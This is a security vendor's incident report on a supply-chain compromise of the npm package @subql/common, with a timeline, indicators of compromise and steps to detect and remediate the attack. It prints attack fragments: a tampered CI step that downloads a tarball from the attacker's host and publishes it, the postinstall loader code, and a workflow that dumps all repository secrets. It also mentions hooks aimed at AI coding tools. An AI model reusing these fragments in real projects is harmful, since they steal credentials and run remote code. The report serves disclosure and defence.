GMO Flatt Security Research
October 6, 2026

Software Supply Chain Attack on @subql/common: Overview and Response Guidance

Posted on October 6, 2026  •  13 minutes  • 2585 words
Table of contents

Note) This post is a direct translation of this post .

On October 5, 2026, malicious code was injected into the npm package @subql/common, a package developed in SubQuery’s GitHub repository, subquery/subql.

The injected malicious code combines infostealer and C2 backdoor functionality. Executed via a postinstall hook, it steals credentials for AWS, GitHub, Kubernetes, Vault, etc. and exfiltrates them to a C2 server. It is also capable of accepting remote commands from a reverse shell. The attacker who injected this malicious code tampered with the CI/CD workflow of the subql GitHub repository, and published the malicious version via GitHub Actions OIDC (Trusted Publisher), making it difficult to distinguish from a legitimate release.

This article goes into detail on this malicious package based on information we observed and analyzed on the analysis infrastructure behind Takumi Guard, focusing on its impact as well as the countermeasures to take.

TL;DR — Response Guidance

Introduction

The purpose of this article is to help readers understand the situation and respond; it is not intended to assist or encourage any illegal activity.

The payload’s behavior is summarized only to the extent necessary to understand the techniques involved. Some descriptions may contain inaccuracies. Please bear in mind that we have prioritized getting this report out quickly.

Timeline (UTC)

Date/Time (UTC) Event
2026-10-05 11:24 @subql/common@5.8.3-onf-rt1 published to npm (no postinstall — believed to be a pre-attack test release)
2026-10-05 11:52 Malicious commit 506863d pushed to the subquery/subql repository (not GPG-signed)
2026-10-05 11:56 @subql/common@5.8.3 published to npm as a Trusted Publisher release via GitHub Actions OIDC
2026-10-05 12:46 (approx.) @subql/common@5.8.3 appears to have been removed from npm (estimated from the registry’s modified timestamp)

Infection Vector — From GitHub Repository Compromise to npm Publish

Overview

This attack is a supply chain attack that manipulates the CI/CD pipeline. The attacker obtained push access to the subquery/subql GitHub repository and tampered with the CI/CD workflow (.github/workflows/publish.yml) to inject a malicious payload into the legitimate npm publishing flow. This way, the package is published via GitHub Actions OIDC (Trusted Publisher), making it difficult to distinguish from a legitimate publish on npm.

Attack Flow

Step 1: Malicious commit made to the GitHub repository (2026-10-05 11:52 UTC) The attacker pushed commit 506863d6fb82bd2714970cf8c6f1bf364374b009 under the name Ian He <ian@onfinality.io>. This commit is not GPG-signed (verified=False), whereas all of Ian He’s past legitimate commits are GPG-signed. There is also a gap of roughly six months since the most recent legitimate commit (last legitimate commit: 2026-04-01). This commit makes changes to the following two files.

+      - name: Sync common artifacts from release mirror
+        if: needs.setup.outputs.changed-common == 'true'
+        run: |
  +          curl -fsSL -o /tmp/common-artifact.tgz https://ci-artifacts.dev/pkg/@subql-common-5.8.3.tgz \
  +            && rm -rf packages/common \
  +            && mkdir -p packages/common \
  +            && tar xzf /tmp/common-artifact.tgz -C packages/common --strip-components=1  

This step is inserted immediately before the “Publish Common” step and replaces the built legitimate package with a malicious, tampered version of the package, downloaded externally. In addition, the attacker added workflow_dispatch to the release conditions, making the workflow runnable via manual trigger as well.

Step 2: Executing npm publish (2026-10-05 11:56 UTC) Pushing the commit triggers the GitHub Actions publish workflow. The workflow does the following:

  1. Detects changes to packages/common
  2. Downloads the malicious tarball from the C2 server in the tampered step
  3. Replaces the legitimate packages/common directory with the malicious package
  4. Publishes @subql/common@5.8.3 to npm via the create-release action. On npm, the publisher is recorded as the Trusted Publisher "GitHub Actions" <npm-oidc-no-reply@github.com>, making it difficult to distinguish from a legitimate release.

Compromise Details

Stage 1 — The postinstall Hook (Entry Point)

A postinstall script was added to the package.json of the otherwise legitimate @subql/common package. This script does not exist in v5.8.2.

"postinstall": "node ./dist/project/readers/manifest-cache.js"

Simply running npm install for this package version executes the attack code automatically — no require() needed.

Stage 2 — manifest-cache.js (Obfuscated Loader)

manifest-cache.js is a 548-line loader, which masquerades as a legitimate class, ManifestCacheReader, and embeds roughly 460 lines’ worth of a base64-encoded array named MANIFEST_CACHE_SEED. When executed directly (require.main === module), it calls ManifestCacheReader.warm(), which relaunches the script itself as a detached child process with the --warm argument.

static warm(root) {
    child_process_1.spawn(process.execPath, [__filename, '--warm'], {
        detached: true,
        stdio: 'ignore',
        env: { ...process.env, SUBQL_MANIFEST_ROOT: path_1.default.resolve(root) },
    }).unref();
}

In --warm mode, decodeManifestSeed() performs base64 decoding → XOR decryption (rolling key, initial value 0x5a) → gunzip, and the decrypted result is executed directly via new Function().

const src = decodeManifestSeed();
const run = new Function('require', 'module', 'exports', '__filename', '__dirname', src);
const mod = { exports: {} };
run(require, mod, mod.exports, __filename, __dirname);

Moreover, warm() is also called in the require.main !== module case (i.e., when imported from another module), so calling require('@subql/common') at runtime launches the malicious payload as well.

if (require.main !== module) {
    try { ManifestCacheReader.warm(process.cwd()); } catch (e) {}
}

Stage 3 — Multi-Function Credential Stealer + C2 Agent

The decrypted payload contains sophisticated malicious code with the following capabilities.

3a. String Obfuscation (beautify Function)

All sensitive strings are encrypted with a function called beautify(). It uses a custom cipher that builds an SHA-256-based S-box substitution from a PBKDF2-derived master key and a random nonce, and decrypts each byte through it.

3b. Excluding Russian-Language Environments

At runtime, process.exit(0) is immediately called if the locale (Intl.DateTimeFormat, LC_ALL, LC_MESSAGES, LANGUAGE, LANG) is Russian (ru).

qt() && (h.log("Exiting as russian language detected!"), process.exit(0))

3c. Daemonization + Lock File

If not in a CI environment, it establishes persistence with detached: true and continues in the background. A lock file, tmp.ts018051808.lock, prevents multiple instances from running. It also disables TLS verification.

3d. Harvesting Modules

The following file harvest modules run in sequence and sends the stolen data to a C2 server.

Target Data Collected
Local files Reads credential files and other sensitive files (detailed list in Section 3e)
Environment variables / GitHub CLI The entire process.env; the GitHub token obtainable via gh auth token
GitHub Actions runner Extracts secrets from the runner process’s memory (via memory dump via sudo python3)
AWS SSM Parameter Store Enumerates and retrieves parameters across all 17 regions
AWS Secrets Manager Enumerates and retrieves secrets across all 17 regions
AWS STS Confirms the IAM identity via GetCallerIdentity
Kubernetes Enumerates and retrieves Secrets in all namespaces via API
HashiCorp Vault Enumerates KV mounts and retrieves secrets
GitHub Actions secrets Enumerates repository/org secret names; injects a workflow (disguised as CodeQL)

3e. Filesystem Scan Targets

Paths the malware attempts to read include the following:

3f. C2 Communication

C2 infrastructure:

We have confirmed that stolen data is exfiltrated to the C2 server, and that the malware polls the C2 server for commands, such as commands to launch a reverse shell on the infected host.

3g. Obfuscated Attack Toolkit (Embedded AES-256-GCM Scripts)

Stage 3 involves 10 AES-256-GCM-encrypted and gzip-compressed scripts, but out of those, only 3 of them are actually referenced from this malicious code sample. The remaining 7 are merely declared; there is no code that writes them to the filesystem or calls them.

Script Function Called in this sample
Secrets-stealing workflow (GitHub Actions) Disguised as “Run Copilot”; dumps all secrets via ${{ toJSON(secrets) }} and uploads them as an artifact Yes (see section 3h)
Runner memory dump (Python) Scans the Runner.Worker process’s /proc/PID/mem and extracts values marked "isSecret":true Yes (see section 3d)
RSA-4096 public key For encrypting stolen data (RSA-OAEP) Yes
GitHub token monitoring daemon (Bash) Persists via a systemd user unit / LaunchAgent and runs a handler when it detects token revocation No
Claude Code hooks configuration Runs node .vscode/setup.mjs on SessionStart No
VS Code tasks.json Runs node .claude/setup.mjs with runOn: "folderOpen" No
Follow-on payload launchers (Bash / Python / Node.js versions) Installs Bun v1.3.13 and runs ai_init.js or router_runtime.js No
RSA-4096 public key (spare) Spare public key No

The unused scripts are plausibly intended for manual deployment by the attacker via arbitrary command execution over the C2 channel (refer to section 3f), or for use in future variants.

3h. GitHub Actions Workflow Injection

If a stolen token has the workflow scope, the malware enumerates the accessible repository’s Actions secrets and injects the following workflow disguised as “Run Copilot”. It dumps all repository secrets via toJSON(secrets) and has them uploaded as an artifact.

name: Run Copilot
env:
  VARIABLE_STORE: ${{ toJSON(secrets) }}
steps:
  - run: echo "$VARIABLE_STORE" > format-results.txt
  - uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f
    with:
      name: format-results
      path: format-results.txt

The commit message is disguised as “Add CodeQL Analysis”, and the committer uses a fake name and email address. After the workflow completes, the attacker retrieves the secrets from the artifact.

3i. Legitimate API Calls Using AWS Signature V4

AWS credentials are resolved from a large number of sources — environment variables (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN), ~/.aws/credentials, AWS_WEB_IDENTITY_TOKEN_FILE (IRSA), IMDS (169.254.169.254), and more — and the malware then makes legitimate AWS API calls signed with AWS Signature V4. In our trace, enumeration of SSM/Secrets Manager across all regions was carried out using temporary credentials obtained via the sandbox’s IMDS.

Response Guidance

1. Assessing Impact

# Check whether a lockfile contains the malicious version
grep -r "@subql/common" package-lock.json pnpm-lock.yaml yarn.lock 2>/dev/null | grep "5.8.3"
# Check for communication with the C2 domain
grep -r "ci-artifacts\.dev" /var/log 2>/dev/null
# Check for the lock file (an indicator of infection)
ls -la /tmp/tmp.ts018051808.lock 2>/dev/null
# Check DNS logs
grep "ci-artifacts.dev" /var/log/syslog /var/log/messages 2>/dev/null

2. Removal

# Remove the malicious version and downgrade to a safe version
npm install @subql/common@5.8.2
# Or remove it entirely
npm uninstall @subql/common

Because background processes may remain, check for and terminate any process running manifest-cache.js --warm.

ps aux | grep "manifest-cache.js"
# Kill the matching processes

3. Credential Rotation

Revoke and reissue all of the following credentials which were valid in the infected environment.

Target Reason
AWS IAM credentials (all regions) SSM / Secrets Manager enumeration was executed across all regions
GitHub PATs / OAuth tokens gh auth token execution and API calls were confirmed
GitHub Actions secrets Possible secret theft via workflow injection
SSH private keys ~/.ssh/id* is targeted for reading
npm tokens in .npmrc Targeted for reading
Secrets in .env Targeted for reading
Docker registry credentials ~/.docker/config.json is targeted for reading
Kubernetes secrets If in-cluster, enumerated and retrieved via the API
Vault secrets If a Vault token is present, all mounts are enumerated and retrieved
The entire process.env Environment variables are exfiltrated wholesale

Recommendations: Put Your Own Defenses in Place

Supply chain attacks on the npm ecosystem keep coming, one after another: the axios compromise in March, Mini Shai-Hulud in April–May, the AsyncAPI compromise in July, the keyv compromise in August, and now this @subql/common compromise. We recommend putting the following layered defenses in place.

Disable Lifecycle Scripts

Make the following your standard policy in CI/CD. For this @subql/common@5.8.3 incident, this alone stops the payload from firing at npm install time.

npm ci --ignore-scripts

Note (npm v12): As of npm v12, lifecycle scripts are ignored by default. On v12 or later, explicitly passing --ignore-scripts is unnecessary, but if your CI/CD runs a mix of npm versions, we still recommend specifying it explicitly.

That said, this specimen launches its payload not only from postinstall but also when require('@subql/common') is called. Disabling lifecycle scripts alone is not enough to fully prevent malicious code execution. Complement it with the cooldown period and registry-side blocking described below.

Configure a Dependency Cooldown (min-release-age)

In npm v11 and later, setting min-release-age in .npmrc prevents installation of versions that have not been public for a certain period of time. We recommend 7 days; even if you are in a hurry, keep at least 3.

# .npmrc
min-release-age=7

Verify Provenance Attestations

In this compromise, the attacker tampered with the CI/CD workflow of the subquery/subql repository and published through legitimate GitHub Actions OIDC (Trusted Publisher). 5.8.3 has already been removed from the registry and can no longer be examined, but 5.8.3-onf-rt1, published through the same flow, carries SLSA provenance. The legitimate 5.8.2, on the other hand, has no provenance.

@subql/common@5.8.2           publisher: npm-oidc-no-reply@github.com   provenance: none
@subql/common@5.8.3-onf-rt1   publisher: npm-oidc-no-reply@github.com   provenance: yes (SLSA v1)

As this shows, in cases where the attacker has compromised the pipeline itself, the presence or absence of provenance alone cannot tell the malicious version apart.

Provenance remains a useful layer of defense (it is effective against direct publishes made using stolen tokens), but it is not sufficient against CI/CD pipeline compromise. Combine it with layered defenses such as min-release-age and Takumi Guard.

Block Malicious Dependencies (Takumi Guard)

We (GMO Flatt Security) offer Takumi Guard, a secure npm registry proxy .

Takumi Guard is a security proxy that sits between you and the npm registry and blocks malicious packages. We inspect every newly published package ourselves and build the blocklist from those inspections. PyPI / RubyGems / Packagist / Go Modules are also supported. Setup takes nothing more than changing your registry URL, and it is free to use.

# npm
npm config set registry https://npm.flatt.tech/
# yarn v1
yarn config set registry https://npm.flatt.tech
# yarn v2+
yarn config set npmRegistryServer https://npm.flatt.tech
# pnpm
pnpm config set registry https://npm.flatt.tech/

In the event that a malicious package cannot be identified as malware, and was not blocked by Takumi Guard at a given point in time, we notify affected users once maliciousness is confirmed (this feature is free as well). Email address registration is required for notifications, so please sign up via the page below.

https://flatt.tech/takumi/features/guard

We also offer management features for enterprises (paid), such as bulk setup across multiple machines and notifications to administrators. If you are interested, please contact us .

IoCs

Hashes (SHA-256)

File Hash
common-5.8.3.tgz (the package published to npm) 031267ee37c5a84c25cb0542cbfeb49f30d5604305b0bdccdeafbedcbbe6849b

Network

Type Value Notes
Domain ci-artifacts.dev C2 server + malicious package hosting
IP 185.146.234.137 Resolves from ci-artifacts.dev

Git

Type Value Notes
Malicious commit 506863d6fb82bd2714970cf8c6f1bf364374b009 subquery/subql repository; not GPG-signed; tampers with publish.yml

Affected Packages

Package Malicious Version Safe Version Notes
@subql/common 5.8.3 5.8.2 (no postinstall) postinstall + embedded encrypted payload
@subql/common 5.8.3-onf-rt1 — Presumed pre-attack test release. No postinstall added, but published by the same attacker